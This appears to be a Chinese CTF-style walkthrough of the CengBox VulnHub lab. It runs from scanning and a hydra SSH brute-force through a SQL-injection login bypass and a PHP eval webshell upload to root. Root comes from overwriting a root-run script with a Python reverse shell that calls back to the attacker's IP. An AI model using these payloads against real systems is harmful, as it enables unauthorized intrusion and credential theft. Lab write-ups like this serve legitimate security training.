目录
1.前言
本文仅用于技术讨论与研究,不做任何导向,对于所有笔记中复现的这些终端、服务器或者实验环境,均为自行搭建的公开靶场,请勿在现实环境中模仿、操作。本文涉及到的工具仅就用到的方面做简要描述,如果想了解更详细的信息,请自行参阅其他技术资料。如果列出的技术用于其他任何目标,作者概不负责。
2.准备工作
镜像下载地址:https://download.vulnhub.com/cengbox/CengBox.ova。
难度:简单/中等
镜像下载完后使用VirtualBox导入,网卡1选择桥接模式,开启靶机,目标是获取root目录下的flag。
靶机IP:未知
本机kali IP:192.168.1.107
3.arp-scan主机发现
不清楚目标主机IP,但是我们知道目标主机和本机在一个局域网。可以使用局域网扫描工具发现存活的主机,确认我们的目标机器,获得IP。
arp-scan是Kali Linux自带的一款ARP扫描工具。该工具可以进行单一目标扫描,也可以进行批量扫描。批量扫描的时候,用户可以通过CIDR地址范围或者列表文件的方式指定。该工具允许用户定制ARP包,构建非标准数据包。同时,该工具会自动解析Mac地址,给出MAC对应的硬件厂商,帮助用户确认目标。一个轻量级扫描工具,用来扫描局域网的主机还是挺好用的,由于扫描的少,所以扫描速度比较快,可以很快的查看到局域网有哪些主机和对应的MAC地址,配合nmap一起使用效果更佳。
使用命令:
arp-scan -l
发现了局域网中存活的几台主机,IP:192.168.1.106是我们目标机器。
4.nmap网络扫描
nmap -A 192.168.1.106
查看目标主机是否在线,开放了哪些端口,提供了哪些服务及版本,可以知道目标主机可能使用了那些软件及版本,根据不同的软件查找漏洞或突破点。
发现系统是linux,开放了22、80端口,22端口为ssh服务,使用的是OpenSSH 7.2,80端口为HTTP服务,使用的是Apache 2.4.18。
通过ssh试试连接目标机器,或许可以弱密码爆破
root能远程登录,但是不知道密码,试试密码爆破。
5.hydra弱密码爆破
hydra(九头蛇)是著名黑客组织thc的一款开源的暴力破解密码工具,可以说是在市面上公开的工具中功能最强大的破解工具之一。kali是默认安装了hydra的,hydra几乎支持所有协议的在线破解,进行用户名、密码的暴力破解。hydra在网络安全渗透过程中是一款必备的测试工具。支持的服务有:POP3,SMB,RDP,SSH,FTP,POP3,Telnet,MYSQL。
hydra -l root -P /usr/share/wordlists/rockyou.txt ssh://192.168.1.106 -s 22 -e nsr -vV
可以进行爆破工作,完成整个工作需要时间,耗费时间长短和攻击机性能、密码字典大小有关,理论上来说不存在爆破不了的密码,只是时间问题。实践中一般认为在可接受的时间内爆破出密码才认为密码是可爆破的,不然等爆破出密码地球都爆炸了,也没有什么意义。所以一般爆破的是弱密码,类似于123456789之类的纯数字、简单单词组合。
接下来就是等待爆破工作结束,看看是否爆破出密码。
6.目录爆破
让密码爆破工作跑着,我们找找其他的信息。我们还知道靶机开启了80端口,提供HTTP服务。通过浏览器访问目标机器80端口看看。
是一个类似公司主页的网站,其他地方的图就不贴了,太占地方。主页有提到公司的一些基本信息,地址、邮件、电话、其他平台的公司页面,如果进行社会工程学方面的工作或许有参考价值。注意到主页提供了订阅接受更新的功能,要求输入邮箱地址。存在输入框,只能输入邮件地址,可以试试绕过。
靶机存在web网站,服务端是有目录的,试一下目录爆破。
直接使用dirsearch 目录扫描工具。
dirsearch -u http://192.168.1.106
扫到了页面/index.php,/index.php/login/,访问后发现就是网站主页。还扫描到几个目录,对masteradmin、uploads进步一扫描。
dirsearch -u http://192.168.1.115/uploads 返回全是403,没有东西。
dirsearch -u http://192.168.1.106/masteradmin
http://192.168.1.106/masteradmin
发现了/masteradmin/db.php、/masteradmin/login.php、/masteradmin/upload.php
访问
http://192.168.1.106/masteradmin/db.php
访问http://192.168.1.106/masteradmin/login.php,是网站的后台登录地址,找到了web管理员登录界面。
访问http://192.168.1.106/masteradmin/upload.php会跳转到登录页面。
7.SQL注入
登录页面尝试SQL注入,SQL注入就是在用户输入的字符串中加入SQL语句,如果在设计不良的程序中忽略了检查,那么这些注入进去的SQL语句就会被数据库服务器误认为是正常的SQL语句而运行,攻击者就可以执行计划外的命令或访问未被授权的数据。会造成拆解后台数据库,盗取网站敏感信息;绕过验证登录网站后台;借助数据库的存储过程进行提权等操作。
USERNAME栏输入,PASSWORD随便填。
‘or 1=1 #
直接就登录进去了,进去后是个文件上传页面,也就是我们之前直接访问,会跳转到登录界面的页面。
8.burp绕过文件上传限制
从页面中看到upload界面,提示可以上传文件。这里可能存在文件上传PHP shell脚本。找个文件上传试试,点击上传后没反应,用burp抓包看看。
新建个test.txt文件上传,抓包后发现没有成功。
提示说要求扩展名ceng的文件。把文件扩展名改为ceng再上传。
在之前的目录扫描中,有一个uploads目录,猜测文件是上传导致这个地方,访问此处的上传文件看看。
意味着,这儿有一个解析漏洞,会将ceng文件解析成php文件,我们可以上传一个php shell脚本。
9.webshell 获取
<?php eval($_POST["cmd"]);echo"hacking";?>
用以上代码新建一个t.ceng,再上传。
使用蚂剑连接,连接成功。
查看一下目录中的文件,找到数据库的配置文件。/var/www/html/masteradmin/db.php
获得了数据库账号、密码、数据库名,root、SuperS3cR3TPassw0rd1!、cengbox。
连接上数据库,在admin表中找到一个用户名、密码,masteradmin、C3ng0v3R00T1!。
这就是web管理员的账号,密码。我们需要系统的用户名、密码。
在蚁剑中打开虚拟终端
查看 /etc/passwd文件,发现有root用户和cengover用户。都不知道密码。
通过ssh连接用上面获得的密码分别测试一下,可能存在密码复用。
ssh 192.168.1.106 -l root
ssh 192.168.1.106 -l congover
经过验证cengover、C3ng0v3R00T1!成功登录,存在密码复用。
10.提权
以上步骤已经获得了目标系统的用户权限,但是不是管理员权限,我们期望获得管理员的权限,完全控制目标机器。
通过wget在靶机下载pspy工具,添加执行权限并运行。
wget https://github.com/DominicBreuker/pspy/releases/download/v1.2.0/pspy64
chmod +x pspy64
./pspy64
观察一段时间,发现md5check.py为root权限执行。
查看md5check.py文件权限,发现user组用户有读写权限,cengover是user组用户。
md5check.py文件有root执行权限,cengover用户可写,直接把文件内容替换成想执行的内容,获得反弹shell,即有root权限的shell。
echo 'import socket,subprocess,os;s=socket.socket(socket.AF_INET,socket.SOCK_STREAM);s.connect(("192.168.1.107",5678));os.dup2(s.fileno(),0);os.dup2(s.fileno(),1);os.dup2(s.fileno(),2);subprocess.call(["/bin/sh","-i"])' > /opt/md5check.py
在本机上开启nc监听5678端口,等待连接。
成功获得了反弹shell用户为root。
flag.txt在/root目录下。
11.结语
密码爆破当然是没有成功的了。最后请各位师傅斧正!!!